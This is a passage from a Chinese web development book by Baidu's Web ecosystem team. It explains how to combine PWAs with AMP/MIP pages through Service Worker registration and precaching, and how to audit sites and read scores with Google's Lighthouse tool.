年才开始逐渐支持对移动端网页的 JavaScript 渲染内容的抓取。甚至直到今天市场还有很多搜索引擎并没有支持在抓取页面的时候运行 JavaScript。因此许多开发者或运营者为了兼顾所有搜索引擎的流量，还是不愿意尝试将整个站点改造为 SPA。 那么，SPA 作为 PWA 的主要存在形态之一，如何让开发者或运营者在这样的搜索引擎环境下去让自己的 Web App 改造成 SPA 甚至是 PWA 呢？通常有如下两种比较好的方案，不仅解决了搜索收录的问题，还能提升用户体验。 SSR（Server Side Rendering）服务端渲染。 结合 AMP/MIP。 当前许多 MVVM 前端开发框架都支持了 SPA/SSR 同构架构模式，如 React/Vue 等。通常采用 SSR 架构的 Web App 能做到第一次请求采用 SSR 模式直接在服务端渲染出内容，以供搜索引擎抓取和收录，第一屏无需在客户端通过执行 JavaScript 渲染内容，后续页面切换操作都是在客户端通过 pushState 的方式切换路由，采用前端渲染方式。这样既保证了搜索引擎的抓取和收录，也保证了 Web App 的良好用户体验。 当前存在的 PWA 有许多也是采用 SPA/SSR 同构架构模式进行开发的。SSR 虽然很好的解决了搜索引擎抓取和收录的问题，但是对于服务器资源的消耗较大，维护成本也相对较高，容易在服务端出现一些意想不到的问题，所以在实际项目中使用时需要多加注意。由于 SSR 可查阅的资料较多，所以 SSR 内容将不在本章过多介绍。 SPA 和 AMP/MIP 的结合，也是一种对搜索引擎友好的方案，在下一小节，将重点介绍这部分的内容。 Copyright ©2019 百度 Web 生态团队 本书采用 知识共享署名-非商业性使用 4.0 国际许可协议 进行许可。 本书仍在勘误阶段，请勿以任何形式私自传播，我们保留对本书的版权            该文件修订时间： 2019-06-19 18:37:42 \"},\"chapter09/2-pwa-and-amp-and-mip.html\":{\"url\":\"chapter09/2-pwa-and-amp-and-mip.html\",\"title\":\"9.2 PWA 与 AMP/MIP\",\"keywords\":\"\",\"body\":\"PWA 与 AMP/MIP 本节将会介绍 PWA 如何和 AMP/MIP 进行结合应用，以至于让 PWA 能够再搜索环境下体验变得更好。在看 PWA 如何和 AMP/MIP 结合之前，还是先了解一下什么是 AMP/MIP。 什么是 AMP/MIP AMP（https://www.ampproject.org）和 MIP（https://www.mipengine.org）分别是 Google 和百度推出的网页加速的解决方案，主要面向移动端网页，因为 MIP 和 AMP 都是采用同样原理的解决方案，本章的内容都以介绍 AMP 为主。 AMP 的原理解释起来也很简单，总结起来，包括三个部分：AMP HTML 规范、AMP Cache、AMP JS 运行时。 AMP HTML 规范 AMP 制订了非常严格的 HTML 编写规范，只有严格按照 AMP HTML 规范编写的 HTML 页面并通过 AMP 校验器的校验，才能享受到 Google 搜索结果页给 AMP 页面带来的优质用户体验。 下面的代码展示的是一个简单的 AMP HTML 的例子。 Hello, AMPs /* default css */ body { -webkit-animation: none; -moz-animation: none; -ms-animation: none; animation: none } Welcome to the mobile web 在 AMP HTML 里可以使用很多标准自带的 HTML 标签，如 、 等，但是也有很多标签不能使用，如 、 等，因为这类型的原生的 HTML 标签对页面渲染性能有影响，如 加载的图片不经过 JS 无法 lazyload，对首屏性能有影响。 因此 AMP 采用 W3C 提出的 customElements 标准编写了一个 标签的替代品自定义标签 ，默认支持 lazyload，类似的自定义标签还有很多，最终的目的只有一个：让 AMP 页面的性能最好、体验最佳。 下面是列举了几个比较重要的 AMP HTML 的规范，详细的规范请参照 AMP 的官方文档：https://amp.dev/documentation/guides-and-tutorials/learn/spec/amphtml.html。 MUST 必须要以 开始 HTML 页面。 必须包含雷电标属性或者 amp，如 或 。 必须要包含 和 标签。 在 里必须要有一个 canonical link 标签，指向常规的非 AMP 版本的 HTML 页面，如：。 charset 必须指定为 UTF-8，如 必须包含一个 viewport meta 标签，如：。 引入 AMP 官方指定的 AMP JS 运行时：https://cdn.ampproject.org/v0.js 必须包含 boilerplate 相关样式 MUST NOT 不能在 标签中编写 JavaScript 代码，不能外链 JavaScript 代码，除了 AMP 的代码外。 不能通过 加载外链 style 资源，CSS 必须写在 中，且不超过 50KB。 不允许使用 , , , 等标签。 AMP Cache AMP Cache 是 Google 的一个基于代理的 CDN，几乎所有的 Google 搜索结果页的 AMP 页面的资源都从这个 CDN 分发。AMP Cache 的工作流程非常好理解，流程示意图如图 9-1 所示。 图 9-1 的描述信息基本上可以描述为以下几个步骤： 开发者提供 AMP HTML 页面的 URL 让 Google 搜索引擎爬虫抓取。 当开发者编写的 AMP HTML 页面被 Google 搜索引擎爬虫抓取，首先通过 是否含有 amp 属性判断是否是一个 AMP 页面。 如果判断结果是一个 AMP 页面就会启动 AMP Server 服务。 AMP Server 服务会运行 AMP Validator 来校验当前的 HTML 页面是否完全符合 AMP HTML 的规范，如果校验符合规范，则被认定为标准的 AMP HTML 页面。 AMP Server 会抓取这个 AMP HTML 以及 AMP HTML 依赖的所有静态资源。 AMP Server 将这些静态页面和静态资源全部存储在 AMP Cache，并改写 AMP HTML 的引用静态资源的路径。 当用户在 Google 搜索引擎的搜索结果页点击 AMP 的结果时，Google 会在搜索结果页创建一个 iframe，以异步的方式打开存储在 AMP Cache CDN 的 AMP HTML 页面，而且该页面所有的静态资源就都是从 AMP Cache CDN 加载来的。 也就是说 AMP 通过这种 Cache 存储全部静态资源的方式彻底的保证了加载性能。同时 AMP Cache 支持 HTTP2 协议，并且非常稳定，通过这种集中式的极致性能优化将加载速度提升，能够有效保证页面的稳定性和速度。 AMP JS 运行时 AMP JS 运行时指的是 https://cdn.ampproject.org/v0.js，也经常被称之为 amp.js，amp.js 同样也是部署在 AMP Cache CDN 上的，AMP 封装了一系列的 AMP 自定义标签，这些自定义标签既提供了完善的功能，又充分的规避了性能问题，在用户体验上下足了功夫，而这些 AMP 自定义标签也需要依赖于 amp.js 才能正常执行。 AMP JS 运行时实现了所有 AMP 最佳性能原则（https://www.ampproject.org/learn/about-how)，AMP JS 运行时还提供了资源加载的管理机制，确保页面能够快速渲染，并异步加载所有资源，当然 AMP JS 运行时不仅确保所有的资源能够异步加载，而且还能够在资源加载之前预先计算每个元素的布局，加快首屏展现的速度。当然 AMP JS 运行时提供的功能远比这些复杂的多，AMP 可查阅的资料较多，在本章就不做深入的讲解。 PWA 结合 AMP/MIP 了解了 AMP 和 MIP 的基本原理后，我们已经知道了在移动端 AMP/MIP 是一种行之有效的提升搜索引擎搜索结果落地页性能的方案。但与此同时，我们也看到了 AMP/MIP 的诸多局限性，在规范上限制很多，不能编写 JavaScript 代码，这样对于要实现一个复杂交互的 Web App 来说，无疑是增加了开发和维护成本，甚至可能由于 AMP 自定义标签的功能支持不足以满足业务需求时，会显得束手无策。 因此 Google 也给出了一些建议，他们建议资讯类的 Web App 或交互较少的 Web App 适合用 AMP 来编写，如新闻、博客、相册等应用。而通过前面章节对 PWA 的了解，我们可以知道 PWA 往往比较复杂，能够支撑复杂的交互和复杂的业务逻辑。基于这些背景，我们需要探索出一条路，让用户从搜索结果页到落地页站点都具有比较完美的体验。这就需要考虑将 AMP/MIP 和 PWA 进行结合一下。经过一些实际项目的探索，目前比较合适的方案有两种。 第一种方案是将整个站点都用 AMP 方式来编写，也可以称之为全站 AMP，在 AMP 页面的基础上再增加 Web App Manifest 和 Service Worker 的支持，就能够实现一个 AMP + PWA 模式的站点了。这种方案的好处由于搜索落地页还是 AMP 页面，所以从搜索结果页跳转的落地页体验会非常好，当落地页打开之后，后面再进行交互，由于集成了 Web App Manifest 和 Service Worker，搜索落地页也可以直接具有添加到桌面和离线缓存的功能。但是这种方案局限于 AMP 不能够支持复杂的站点，导致不太适合做复杂交互的 Web App。 第二种方案就是将 AMP/MIP 页面作为中间页面，也可以称之为在 AMP 中预加载 PWA，可以将 AMP 页面的 HTML 中的 标签的 href 指向 PWA 站点 URL，并且类似于 SSR 的方式提供一份 AMP 的页面内容以供搜索引擎抓取，如下代码所示： 在搜索结果页点击 AMP 结果进入搜索落地 AMP 页后，点击 AMP 页面里的链接再跳转到 PWA 相应的页面，这样设计的的好处是在搜索结果页点出的体验非常良好，并且又能实现复杂交互的 PWA。 除此之外，AMP 还提供了 PWA 内嵌 AMP 页面的能力，可以将 AMP 页面作为 PWA 的数据源，详细的可以参考 《Embed & use AMP as a data source》https://www.ampproject.org/docs/integration/pwa-amp/amp-in-pwa，篇幅有限，本章将不会对这种方法进行深入讲解。本章接下来的内容将重点介绍前面提到的两种方案，将会深入的介绍具体做法以及遇到的一些问题。 Copyright ©2019 百度 Web 生态团队 本书采用 知识共享署名-非商业性使用 4.0 国际许可协议 进行许可。 本书仍在勘误阶段，请勿以任何形式私自传播，我们保留对本书的版权            该文件修订时间： 2019-06-19 18:37:42 \"},\"chapter09/3-whole-site-amp-and-mip.html\":{\"url\":\"chapter09/3-whole-site-amp-and-mip.html\",\"title\":\"9.3 全站 AMP/MIP\",\"keywords\":\"\",\"body\":\"全站 AMP/MIP 全站 AMP/MIP，顾名思义就是指整个站点每个页面都用 AMP/MIP 来编写。由于全站 AMP 和全站 MIP 都会依赖于 AMP/MIP 运行时提供的交互机制，表 9-1 列出了能够通过 AMP/MIP 实现复杂交互的一些技术基础，并列出了 AMP 和 MIP 的一些区别。 AMP MIP 事件处理机制 支持 支持 页面切换过渡动画 不支持 支持 页面间共享数据 不支持 支持 shell 机制 不支持 支持 外部自定义组件 不支持 支持 自定义 JavaScript 不支持 支持 从表 9-1 对比可知，由于 MIP 对全站的支持情况要好于 AMP，所以在本节将会使用 MIP 对全站 AMP/MIP 方案进行讲解。全站 MIP 的实际效果可以看 MIP Project 的官网（https://www.mipengine.org），移动浏览器下效果比较明显。整站 MIP 机制可以参考 MIP 官方文档的可交互设计概述（https://www.mipengine.org/v2/docs/interactive-mip/introduction.html） 注意： 全站 MIP 指的是的开发者自己开发的独立域名的独立 MIP 页面，并不是被 MIP Cache 索引之后的页面，只是 MIP 运行时提供机制能够让 MIP 体验单页化，用户体验会更好。 添加 Web App Manifest 如果要将 MIP 页面改造成 PWA 的话，首先需要给 MIP 添加 Web App Manifest 特性，而 Web App Manifest 在第五章中已经有详细介绍，这里就不再赘述。具体的做法是在每个 MIP 页面的 中添加 manifest.json 文件，如下代码所示。 Hello, MIP 为了保证每个 MIP 页面都能够添加到桌面，每个 MIP 页面都需要添加 manifest.json 文件，manifest.json 的内容示例如下代码所示。 { \\\"name\\\": \\\"MIP-PWA\\\", \\\"short_name\\\": \\\"MIP-PWA\\\", \\\"icons\\\": [ { \\\"src\\\": \\\"./launcher-icon-1x.png\\\", \\\"type\\\": \\\"image/png\\\", \\\"sizes\\\": \\\"48x48\\\" }, { \\\"src\\\": \\\"./launcher-icon-2x.png\\\", \\\"type\\\": \\\"image/png\\\", \\\"sizes\\\": \\\"96x96\\\" }, { \\\"src\\\": \\\"./launcher-icon-4x.png\\\", \\\"type\\\": \\\"image/png\\\", \\\"sizes\\\": \\\"192x192\\\" } ], \\\"start_url\\\": \\\"/?standalone=1\\\", \\\"background_color\\\": \\\"#ffffff\\\", \\\"display\\\": \\\"standalone\\\", \\\"theme_color\\\": \\\"#1976d2\\\" } 其中需要注意的是，start_url 需要指定一个固定的入口 URL，当用户将 MIP 页面添加到桌面之后，可以保证用户从桌面入口进入 PWA 之后能够有一个固定的入口。 启用 Service Worker MIP 页面在集成了 Web App Manifest 之后，进而需要集成并启用 Service Worker 才能让站点离线使用，加快首屏展现等。那么如何在 MIP 页面中使用 Service Worker 呢？ 注册 Service Worker 通过第四章对 Service Worker 的介绍，通常注册 Service Worker 只需要在 HTML 页面的 标签中编写一段简短的 JavaScript 代码来完成。但是通过上一节对 AMP/MIP 的介绍，我们知道 AMP/MIP 页面是无法编写 JavaScript 的，那么在这种情况下，如何完成 Service Worker 的注册呢？ 由于 MIP 可以通过 标签来支持编写简单的 JavaScript 代码，虽然有一些限制，但是是可以编写 Service Worker 注册逻辑的，具体代码如下所示： // 注册 Service Worker if ('serviceWorker' in navigator) { navigator.serviceWorker.register('./sw.js') } 注意： MIP 可以通过 标签来支持编写简单的 JavaScript 代码，但是会有一些限制，具体可以参考 组件文档（https://www.mipengine.org/v2/components/extensions/mip-script.html），但是 AMP 并不支持编写自定义 JavaScript 的方式，所以这种方法不适合在 AMP 中使用。 MIP 还提供了一个组件 来帮助 MIP 页面完成 Service Worker 的注册。具体用法很简单，首先只需要在 MIP 页面中引入 组件的 JavaScript CDN 文件地址，如下代码所示： 在引入组件 JavaScript 文件之后，在 MIP 页面中就可以使用 标签在 MIP 页面中进行 Service Worker 的注册，如下代码所示： 在 mip-install-serviceworker 组件里，提供了 src 和 data-iframe-src 两个属性。如果要让 Service Worker 能顺利注册，两个属性都需要填写，因为 MIP 页不仅在搜索结果页下通过 iframe 的方式打开，还可以被直接访问。 如果是直接通过 MIP 页面的独立地址访问，因为 Service Worker 的文件 URL 域和当前 MIP 站点一致，可以直接注册，这个时候就会直接使用到 src 属性提供的 Service Worker 文件 URL，通过组件内部调用 navigator.serviceWorker.register() 方法进行直接注册。 但是 MIP 页不仅能直接访问，还能被缓存在 MIP Cache CDN 上，在搜索结果页通过 iframe 的方式打开，那么用户访问的这个页面的域名就不是站点本身的域名。由于站点不能跨域注册 Service Worker 文件 URL，所以不能无法通过 navigator.serviceWorker.register() 方法直接注册。这种情况下可以通过 iframe 嵌入和站点同一域的一个中间 HTML 页面来解决域名不同的问题，而在这个中间 HTML 页面中就可以注册 Service Worker，提前缓存站点资源，这个中间 HTML 页面的地址就是 data-iframe-src 属性指定的地址，HTML 页面代码可以很简单，如下代码所示： if ('serviceWorker' in navigator) { navigator.serviceWorker.register('/sw.js') } 虽然现代浏览器几乎都已经支持了 Service Worker，但是为了保证极致的体验和兼容性，mip-install-serviceworker 组件还提供了一种机制专门针对那些不支持 Service Worker 的浏览器。可以指定一个特殊的同源 shell 页面，在 MIP 页面中提前加载这个 shell 页面进行 HTTP 缓存。通过 data-no-service-worker-fallback-url-match 属性指定需要跳转到该 shell 页面的 URL 规则，该属性为正则表达式。并且可以通过 data-no-service-worker-fallback-shell-url 指定的 shell 页面的 URL, 需要和 MIP 页面保持同源，当该 shell 页面加载完成之后，有必须通过 hash 参数 redirect 到原页面的逻辑。代码如下所示： link1 link2 link3 在不支持 Service Worker 的浏览器环境下，点击 link1，link2 链接同样可以实现离线缓存的效果，link3 由于不同源的问题，所以缓存不会生效。 当然，AMP 同样也提供了 组件可以进行 Service Worker 注册的工作，用法和 一致。 编写 Service Worker 在 MIP 页面中顺利完成 Service Worker 的注册之后，接下来的工作就是就是编写 Service Worker 文件的逻辑了。根据第四章的介绍，在 Service Worker 中监听 fetch 事件可以拦截在 Service Worker 作用域范围内的所有网络请求，下面代码展示了一个简单的 Service Worker 文件示例： const CACHE_NAME = 'my-mip-pwa-test' self.addEventListener('fetch', event => { event.respondWith( caches.open(CACHE_NAME).then(cache => { return cache.match(event.request).then(response => { let promise = fetch(event.request).then(res => { cache.put(event.request, res.clone()) return res }) // 可以在这里对 response 做进一步的处理 return response || promise }) }) ) }) 通过以上代码就可以完成简易网络请求的缓存功能了，实际上还不是很完善，没有做缓存的更新及清理，也没有预加载的逻辑，在第四章已经对如何开发一个完善的 Service Worker 文件有了详细的介绍，开发者完全可以根据自己的需求来编写 Service Worker 文件。 Copyright ©2019 百度 Web 生态团队 本书采用 知识共享署名-非商业性使用 4.0 国际许可协议 进行许可。 本书仍在勘误阶段，请勿以任何形式私自传播，我们保留对本书的版权            该文件修订时间： 2019-06-19 18:37:42 \"},\"chapter09/4-preload-pwa.html\":{\"url\":\"chapter09/4-preload-pwa.html\",\"title\":\"9.4 AMP/MIP 预加载 PWA\",\"keywords\":\"\",\"body\":\"在 AMP/MIP 页面中预加载 PWA 通过本章第二节，我们了解到 AMP/MIP 不适合用实现复杂的 Web App，按照 AMP 官网的介绍，AMP 是“叶子页面”（有具体内容，不是导航类型的页面）理想的解决方案，因为它加载快，体验好，适合做搜索引擎跳出的第一个页面，却由于无法编写 JavaScript，不适合完成复杂的需求。因此第二跳应该从 AMP 跳出到 PWA，但是大部分 PWA 站点由于其重度依赖于 JavaScript，导致首屏较慢，那么这节就来解释一下如何通过在 AMP/MIP 中预加载 PWA 页面来加速 PWA 页面的展现。 接下来先开门见山的介绍一下整个方案的步骤。 将所有的叶子页面都做成 AMP/MIP，通过 canonical 指向 PWA 对应的页面。 在 AMP 页面中嵌入 来提前注册 Service Worker。 Service Worker 在注册和安装的时候把 PWA 页面依赖的文件缓存好，包括 App Shell 依赖的所有资源。 AMP 页面中所有链接都跳到 PWA。 当用户点击 AMP 中的链接，请求会被 Service Worker 拦截，会立即展现 App Shell。 在 AMP/MIP 页面中注册站点的 Service Worker 和上节一样步骤基本一样，首先通过在 MIP 页面中嵌入 来注册 Service Worker。 编写 Service Worker 的逻辑 与上节不同的是，在这种方案里需要对将要跳转的 PWA 页面的 App Shell 等文件进行预缓存，从而提升跳转首屏展现的用户体验，因此代码编写上会有一些区别，下面代码所展示的是一个 AMP/MIP 跳转的 PWA 的 Service Worker 文件的一部分内容，主要是对 App Shell 先进行预缓存。 const CACHE_NAME = 'my-site-precache' const URLS_TO_CACHE = [ '/', '/static/vendor.js', '/static/app.js', '/static/app.css' ] self.addEventListener('install', event => { event.waitUntil( caches.open(CACHE_NAME).then(cache => { // 将列表中的文件进行预缓存 return cache.addAll(URLS_TO_CACHE) }) ) }) 上面的例子其中一部分，/ 就是 App Shell，其他都是其依赖的静态文件，如果采用 SSR，那么 Service Worker 就还需要再进行加工，在前面的章节中也有过介绍。 到这里注册 Service Worker 和编写 Service Worker 都已经完成了，开发者只需要再将 AMP/MIP 中的链接跳转到对应的 PWA 页面即可。 以上就是第九章的全部内容，讲解了 PWA 与搜索如何结合，如何使用 AMP/MIP 来对页面进行加速。 Copyright ©2019 百度 Web 生态团队 本书采用 知识共享署名-非商业性使用 4.0 国际许可协议 进行许可。 本书仍在勘误阶段，请勿以任何形式私自传播，我们保留对本书的版权            该文件修订时间： 2019-06-19 18:37:42 \"},\"appendix01.html\":{\"url\":\"appendix01.html\",\"title\":\"附录1 使用 Lighthouse 测评 PWA\",\"keywords\":\"\",\"body\":\"使用 Lighthouse 测评 PWA 完成了 PWA 站点的开发之后，我们需要对站点进行评估和测试，了解其性能是否达标、是否符合 PWA 规范等。本章中，我们将介绍一款 Web App 的测评工具 —— Lighthouse 的使用，通过它的帮助，我们能够进一步了解 PWA 的缺陷和不足，有针对性地对站点进行完善和改进。 Copyright ©2019 百度 Web 生态团队 本书采用 知识共享署名-非商业性使用 4.0 国际许可协议 进行许可。 本书仍在勘误阶段，请勿以任何形式私自传播，我们保留对本书的版权            该文件修订时间： 2019-06-19 18:37:41 \"},\"appendix01/1-lighthouse.html\":{\"url\":\"appendix01/1-lighthouse.html\",\"title\":\"1 使用 Lighthouse 测评 PWA\",\"keywords\":\"\",\"body\":\"使用 Lighthouse 测评 PWA Lighthouse 是 Google Chrome 推出的一个开源自动化工具，能够对 PWA 多方面的效果指标进行评测，并给出最佳实践的建议以帮助开发者改进 PWA 的质量。它的使用方法也非常简单，我们只需要提供一个要测评的网址，它将针对此页面运行一系列的测试，然后生成一个有关页面性能的报告。通过报告我们就可以知道需要采取哪些措施来改进应用的性能和体验。 使用入门 针对不同的适用场景，我们可以通过多种方式来安装并使用 Lighthouse： Chrome 浏览器插件。Chrome 插件的形式提供了更加友好的用户界面，方便读取报告。 Chrome DevTools。该工具集成在最新版本的 Chrome 浏览器中，无需安装即可使用。 Lighthouse CLI 命令行工具。方便将 Lighthouse 集成到持续集成系统中。 编程的方式。我们也能通过 Node.js 模块引入 Lighthouse 工具包，以编程的形式来使用它。 下面我们依次介绍上述这几种使用方法。 Chrome 插件 下载 Google Chrome 52 或更高版本，并安装 Ligthouse Chrome 插件。打开需要进行测评的页面，并点击 Chrome 工具栏上的 Lighthouse 图标如下图： 如果在工具栏上没有看到此图标，它可能隐藏在 Chrome 的主菜单中。点击此图标后，我们会看到一个展开菜单，如下图 在 Options 选项里，可以选择需要的测评项，包括性能、无障碍访问性、最佳实践、SEO、PWA，默认情况下，选择全部即可。 点击 Generate report 按钮以针对当前打开的页面运行 Lighthouse 测试。 在完成测评后，Lighthouse 将打开一个新标签，并在页面的结果上显示一个报告。 在这里，我们就能看到关于 PWA, Performance, Accessibility, Best Practices 四个方面存在的问题以及相关建议。根据这些去优化你的站点吧！ Chrome DevTools 在最新版本的 Chrome 浏览器中，Lighthouse 已经直接集成到了调试工具 DevTools 中了，因此不需要进行任何安装或下载。我们先打开需要进行测试的页面，打开 Chrome DevTools，选择 Audits 面板，就能看到 Lighthouse 工具的一些配置选项，选择需要的配置后，点击 Run audits，工具就会对当前页面进行性能的测评。 命令行工具（Lighthouse CLI） 上述两种工具提供了较为基础、快捷的使用方式，针对进阶的高级开发者，Lighthouse 的命令行工具更为合适。它提供了多种详细的使用参数，通过参数的配置，能够更灵活地进行测评并输出报告结果。此外，在一些自动化的持续集成场景中，命令行工具显得十分有用。 安装 安装 Node，需要 Node 8 LTS(8.9) 及以上版本。 以全局方式安装： npm install -g lighthouse # or use yarn: # yarn global add lighthouse 运行 CLI 针对一个页面运行 lighthouse 命令，进行测评： lighthouse https://www.example.com/ 注意： CLI 相较于插件和 DevTools 存在一些尚未修复的问题，比如对 Ubuntu 系统支持不好，会抛 NO_FCP 的错误。对于某些网站支持不好，这些网站可能存在以下特征导致 NO_FCP 错误的发生： 初始渲染的时候页面不包含文本，而只包含一个 spinner 你的站点的启动和渲染主要内容在 5-10s 的延迟之后发生 点击查看最新解决方案 默认情况下，运行报告将以 html 的格式输出在当前目录的 ./_.report.html 文件中，如上述命令结果将存储在 www.example.com_2019-04-02_16-51-15.report.html。我们也可以指定输出的格式与路径，如： lighthouse https://example.com/ --output html --output-path ./report.html 如果需要将结果在标准输出流中以 json 格式输出： lighthouse https://example.com/ --output json 将结果以 json 文件的形式输出到本地目录： lighthouse https://example.com/ --output json --output-path ./myfile.json 输入 --help 选项可以查看可用的输入、输出选项 lighthouse --help 生命周期 Lighthouse 运行测评的过程有一套完整的生命周期，可以划分成三个主要流程：首先是 Collecting 流程，这一步会调用内置的 Driver，其作用是通过 Chrome DevTools Protocol 调起浏览器，并创建新的 tab 请求待测评的站点，通过浏览器采集站点数据并将结果（称之为 Artifacts）保存在本地临时目录。然后进入 Auditing 流程，读取 Artifacts 数据，根据内置的评判策略逐条进行检查并计算出各项的数字形式得分。最后进行 Report 流程，将评分结果按照 PWA、性能、无障碍访问、最佳实践等纬度进行划分，以 JSON、HTML 等格式输出。如下图： 命令行工具基于此提供了生命周期的选项，我们可以让 CLI 只运行整个测评过程的一个或多个特定生命周期。比如，使用 --gather-mode（-G）只进行资源采集的生命周期，命令行工具将会启动浏览器，采集被测试站点的相关数据，并将结果以 json 的形式存储到本地，默认是 ./latest-run/ 目录，然后退出进程： lighthouse https://example.com/ -G 如果想要跳过浏览器的交互，直接从本地读取页面的临时数据，运行测评和产出结果报告，则可以使用 --audit-mode（-A），默认将从 ./latest-run/ 目录读取： lighthouse https://example.com/ -A 两个选项同时使用，就会运行整个测评的生命周期，与直接运行 lighthouse 命令相比，会在当前目录保存一份测试站点的数据。 lighthouse https://example.com -GA 如果不想使用默认的 ./latest-run/ 目录，我们也能自定义站点的 json 数据的保存目录，如： lighthouse -GA=./mycustomfolder https://example.com 编程的方式使用 Lighthouse 除了上述几种方式之外，Lighthouse 也提供了 NPM 包，我们能够以 Node.js 模块的形式引入到项目代码中，结合另一个 NPM 模块 chrome-launcher 用于调起浏览器，就可以随心所欲地以编程的方式使用了。 首先要在项目中安装依赖模块： npm install lighthouse chrome-launcher # yarn add lighthouse chrome-launcher 在使用 lighthouse 接口之前，需要先用启动一个 chrome，所以我们可以封装一个名为 launchChromeAndRunLighthouse 的方法，来完成这两步。chromeLauncher 工具包提供了 launch 方法，接收一个启动所需的参数 opts，这个参数用于配置 chrome 的启动环境、启动方式等，在返回的 promise 对象中，我们能获取到 chrome 实例。再将待测试 url 及 opts 提供给 lighthouse，测试完成后需要关掉 chrome 实例，然后就能拿到我们需要的测试报告 results 了。 const lighthouse = require('lighthouse') const chromeLauncher = require('chrome-launcher') function launchChromeAndRunLighthouse(url, opts, config = null) { return chromeLauncher.launch({chromeFlags: opts.chromeFlags}).then(chrome => { opts.port = chrome.port return lighthouse(url, opts, config).then(results => { return chrome.kill().then(() => results) }) }) } const opts = { chromeFlags: ['--show-paint-rects'] } launchChromeAndRunLighthouse('https://example.com', opts).then(results => { // Use results! }) 值得一提的是这里的 result 包含了多种类型的数据格式，如 results.lhr 是 javascript 对象（Lighthouse Result Object），而 results.report 则是用于 HTML/JSON/CSV 输出结果的字符串，可以按需选择。 性能报告 对于一些只关注应用性能的使用场景，可以用 onlyCategories 配置项来设定只运行性能这个维度的测试： // ... const flags = {onlyCategories: ['performance']} launchChromeAndRunLighthouse(url, flags).then(results => { // Use performance results! }) 除此之外，我们可以自定义自己需要的测评维度，Lighthouse 的 Github 仓库提供了一些自定义的示例和方法。 注意，用编程的方式使用 lighthouse 时，在上述代码的 flags 参数的使用上，与 CLI 的方式有所区别。考虑到以 node 模块引入的情况下，开发者自己来控制这些选项更为简单和灵活，部分 flag 选项值只在 CLI 的模式下生效。node 模块和 CLI 中都能使用的选项值，可以参考 官方的定义。 开启测试日志 如果运行期间需要查看测试的日志，可以引入 lighthouse-logger 模块，它支持打印不同级别的日志。用法如下： const log = require('lighthouse-logger') const flags = {logLevel: 'info'} log.setLevel(flags.logLevel) launchChromeAndRunLighthouse('https://example.com', flags).then(...) 自定义配置 你可能已经注意到 lighthouse 在调用的时候还有第三个参数：lighthouse(url, opts, config)，这个 config 参数能够帮助我们用更细粒度的控制整个测评。这种细粒度的配置在 CLI 中也是支持的，只是使用方式略有区别： 我们可以指定一个配置文件 custom-config.js 如下，它在继承默认的配置的基础上进行了一定的自定义： module.exports = { extends: 'lighthouse:default', settings: { onlyAudits: [ 'first-meaningful-paint', 'speed-index-metric', 'estimated-input-latency', 'first-interactive', 'consistently-interactive', ], }, } 如果使用 CLI，需要用 --config-path 指向该配置文件： lighthouse --config-path=path/to/custom-config.js https://example.com 对于 Node 模块的形式，也基本相似，将配置对象当做 lighthouse 方法的第三个参数传入即可： const lighthouse = require('lighthouse') const config = require('./path/to/custom-config.js') lighthouse('https://example.com/', {port: 9222}, config) 如果评测过程中有这种比较高阶的配置需求，可以详细了解相关的属性文档，这里我们就不作展开了。 除了这些官方提供的工具之外，一些开源项目也将 Lighthouse 进行了集成。例如使用 Webpack 构建的应用，可以使用 webpack-lighthouse-plugin，在构建的过程中完成 Lighthouse 测评；lighthouse-mocha-example 则能够在 Mocha 的测试用例中增加 Lighthouse 的测评项等等，整个工具生态日渐繁荣，相信对于我们测评 PWA 性能，构建更完美的 PWA 大有裨益。 Copyright ©2019 百度 Web 生态团队 本书采用 知识共享署名-非商业性使用 4.0 国际许可协议 进行许可。 本书仍在勘误阶段，请勿以任何形式私自传播，我们保留对本书的版权            该文件修订时间： 2019-06-19 18:37:41 \"},\"appendix01/2-lighthouse-score-guide.html\":{\"url\":\"appendix01/2-lighthouse-score-guide.html\",\"title\":\"2 Lighthouse 评分指南\",\"keywords\":\"\",\"body\":\"Lighthouse 评分指南 使用 Lighthouse 对网站进行测评后，我们会得到一份评分报告，它包含了性能（Performance），PWA（Progressive Web App），访问无障碍（Accessibility），最佳实践（Best Practice），搜索引擎优化（SEO）等几个部分。这里我们将介绍一下 Lighthouse 是如何计算这几个评分的。 性能评分 性能评分的分值区间是0到100，如果出现0分，通常是在运行 Lighthouse 时发生了错误，如果反复出现了0分的情况，可以在 Lighthouse 的 GitHub 仓库去反馈 bug。满分100分代表了站点已经达到了98分位值的数据，而50分则是75分位值的数据。 影响评分的性能指标 性能测试指标分成了 Metrics，Diagnostic，Opportunities 三部分。通常情况下，只有 Metrics 部分的指标项会对分数产生直接影响，Lighthouse 会衡量以下性能指标项： 首次内容绘制（First Contentful Paint）。即浏览器首次将任意内容（如文字、图像、canvas 等）绘制到屏幕上的时间点。 首次有效绘制（First Meaningful Paint）。衡量了用户感知页面的主要内容（primary content）可见的时间。对于不同的站点，首要内容是不同的，例如：对于博客文章，标题及首屏文字是首要内容，而对于购物网站来说，图片也会变得很重要。 首次 CPU 空闲（First CPU Idle）。即页面首次能够对输入做出反应的时间点，其出现时机往往在首次有效绘制完成之后。该指标目前仍处于实验阶段。 可交互时间（Time to Interactive）。指的是所有的页面内容都已经成功加载，且能够快速地对用户的操作做出反应的时间点。该指标目前仍处于实验阶段。 速度指标（Speed Index）。衡量了首屏可见内容绘制在屏幕上的速度。在首次加载页面的过程中尽量展现更多的内容，往往能给用户带来更好的体验，所以速度指标的值约小越好。 输入延迟估值（Estimated Input Latency）。这个指标衡量了页面对用户输入行为的反应速度，其基准值应低于 50ms。 性能指标评分的计算 每一项性能指标对评分的贡献都有其计算逻辑，Lighthouse 会将原始的性能值映射成为 0-100 之间的数字。评分使用 HTTPArchive 上的真实站点性能数据作为样本，统计出对数正态分布。例如，FMP（First Meaningful Paint）的原始值是从页面初始化开始到主要内容渲染成功的耗时，根据真实站点的数据，顶级性能的站点的 FMP 值约为 1220ms，这个值会被映射成 Lighthouse 的 99 分。 针对不同的评分，Lighthouse 用了不同的颜色进行标注，分值区间和颜色的对应关系如下： 0 - 49（慢）：红色 50 - 89（平均值）： 橙色 90 - 100（快）： 绿色 性能评分的分配权重 各个指标对性能评分的贡献并不相同，Lighthouse 提供了评分详情表，形式如下图，来查阅具体权重分配情况。权重较大的指标，对性能评分的影响更大一些，最终的总体性能评分是这些性能指标分数的加权平均值。我们可以用这个分数计算的表格作为参考，以了解不同的指标是如何影响最终评分的。 从表中可以看出，性能的指标项权重分配如下： 3X - 首次内容绘制 1X - 首次有效绘制 2X - 首次 CPU 空闲 5X - 可交互时间 4X - 速度指标 0X - 输入延迟估值 